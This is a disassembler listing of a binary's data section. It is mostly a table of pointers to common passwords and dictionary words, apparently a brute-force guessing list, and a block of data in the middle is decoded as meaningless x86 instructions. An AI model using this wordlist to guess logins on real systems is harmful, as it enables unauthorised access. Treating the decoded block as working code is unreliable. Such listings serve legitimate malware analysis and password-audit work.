"name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" ; --------------------------------------------------------------------------- loc_42DAA4: ; CODE XREF: .nsp0:loc_42DAA4j jz short loc_42DAA4 inc edx add [esi+edi*8+42h], ch add [esi+edi*8+42h], ah add [eax-2], bl inc edx add [esi+edi*8+42h], cl add [esi+edi*8+42h], al add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [eax], ch inc byte ptr [edx+0] and dh, bh inc edx add [eax], bl inc byte ptr [edx+0] or al, 0FEh inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add ah, dh std inc edx add ah, ch std inc edx add ah, ah std inc edx add ah, bl std inc edx add ah, dl std inc edx add ah, cl std inc edx add al, al std inc edx add [eax-53FFBD03h], bh std inc edx add [eax-67FFBD03h], ah std inc edx add [eax-77FFBD03h], dl std inc edx add [eax+780042FDh], al std inc edx add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add [eax], bh std inc edx add [eax], dh std inc edx add [eax], ch std inc edx add ds:0FD140042h[edi*8], bl inc edx add ds:0FD040042h[edi*8], cl inc edx add ah, bh cld inc edx add ah, dh cld inc edx add ah, ch cld inc edx add ah, ah cld inc edx add ah, bl cld inc edx add ah, dl cld inc edx add ah, cl cld inc edx add ah, al cld inc edx add [esp+edi*8-34BFFBEh], bh inc edx add [esp+edi*8-35FFFBEh], ch inc edx add [esp+edi*8-377FFBEh], dl inc edx add [eax+780042FCh], al cld inc edx add [eax-4], dh inc edx add [eax-4], ch inc edx add [eax-4], ah inc edx add [eax-4], bl inc edx add [eax-4], dl inc edx add [esp+edi*8+42h], al add [eax], bh cld inc edx add [eax], dh cld inc edx add [eax], ch cld inc edx add [eax], ah cld inc edx add [eax], bl cld inc edx add [eax], dl cld inc edx add [eax], cl cld inc edx ; --------------------------------------------------------------------------- db 0 dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_42F3FC dd offset dword_42F3F8 dd offset dword_42F3F4 dd offset dword_42F3F0 dd offset dword_42F3E8 dd offset dword_42F3E0 dd offset dword_42F3D8 dd offset dword_42F3CC dd offset loc_4263DB+1 dd offset dword_42F3C8 dd offset off_42F3C4 dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_42F3B8 ; "+" dd offset asc_42F3B4 ; "++" dd offset asc_42F3B0 ; "+++" dd offset asc_42F3A8 ; "++++" dd offset asc_42F3A4 ; "-" dd offset asc_42F3A0 ; "--" dd offset asc_42F3A0 ; "--" dd offset asc_42F398 ; "----" dd offset asc_42F394 ; "-+" dd offset asc_42F38C ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_42F374 ; "$" dd offset asc_42F370 ; "$$" dd offset asc_42F36C ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_4263F0 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_426CB0 ; "*" dd offset asc_42F31C ; "**" dd offset asc_42F318 ; "***" dd offset asc_42F310 ; "****" dd offset asc_42F308 ; "*****" dd offset asc_42F300 ; "******" dd offset asc_42F2F8 ; "*******" dd offset asc_42F2EC ; "********" dd offset asc_42F2E0 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" 